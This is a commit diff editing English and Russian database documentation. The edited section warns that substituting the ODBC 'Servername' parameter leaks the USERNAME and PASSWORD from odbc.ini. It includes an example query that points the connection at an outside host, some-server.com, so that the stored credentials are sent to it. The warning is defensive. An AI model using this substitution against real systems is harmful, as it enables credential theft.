Textual edits in ODBC dictionary description.

This commit is contained in:
BayoNet 2018-10-08 13:20:34 +03:00
parent 63c309bf3e
commit a6d95b9460
2 changed files with 10 additions and 10 deletions

View File

@ -125,14 +125,14 @@ Setting fields:
- `invalidate_query` Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime). - `invalidate_query` Query for checking the dictionary status. Optional parameter. Read more in the section [Updating dictionaries](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
### The vulnerability of the ODBC driver ### Known vulnerability of the ODBC dictionary functionality
!!!attention !!! attention
If when connecting to the database through the ODBC driver you substitute connection parameter `Servername` then values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised. When connecting to the database through the ODBC driver connection parameter `Servername` can be substituted. In this case values of `USERNAME` and `PASSWORD` from `odbc.ini` are sent to the remote server and can be compromised.
**Example of insecure use** **Example of insecure use**
Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini` is: Let's configure unixODBC for PostgreSQL. Content of `/etc/odbc.ini`:
``` ```
[gregtest] [gregtest]
@ -145,13 +145,13 @@ USERNAME = test
PASSWORD = test PASSWORD = test
``` ```
If then you make a query such as If you then make a query such as
``` ```
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db'); SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
``` ```
then ODBC driver sends values of `USERNAME` and `PASSWORD` for `Servername = localhost` to `some-server.com`. ODBC driver will send values of `USERNAME` and `PASSWORD` from `odbc.ini` to `some-server.com`.
### Example of Connecting PostgreSQL ### Example of Connecting PostgreSQL

View File

@ -124,10 +124,10 @@
- `connection_string` - строка соединения. - `connection_string` - строка соединения.
- `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime). - `invalidate_query` - запрос для проверки статуса словаря. Необязательный параметр. Читайте подробнее в разделе [Обновление словарей](external_dicts_dict_lifetime.md#dicts-external_dicts_dict_lifetime).
### The vulnerability of the ODBC driver ### Выявленная уязвимость в функционировании ODBC словарей
!!!attention !!! attention
Если при соединении с базой данных через ODBC в параметрах соединения заменить `Servername`, то значения `USERNAME` и `PASSWORD` из `odbc.ini` будут отправлены на удаленный сервер и могут быть скомпроментированы. При соединении с базой данных через ODBC можно заменить параметр соединения `Servername`. В этом случае, значения `USERNAME` и `PASSWORD` из `odbc.ini` отправляются на удаленный сервер и могут быть скомпроментированы.
**Пример небезопасного использования** **Пример небезопасного использования**
@ -150,7 +150,7 @@ PASSWORD = test
SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db'); SELECT * FROM odbc('DSN=gregtest;Servername=some-server.com', 'test_db');
``` ```
то ODBC драйвер отправит значения `USERNAME` и `PASSWORD` для `Servername = localhost` на `some-server.com`. то ODBC драйвер отправит значения `USERNAME` и `PASSWORD` из `odbc.ini` на `some-server.com`.
### Пример подключения PostgreSQL ### Пример подключения PostgreSQL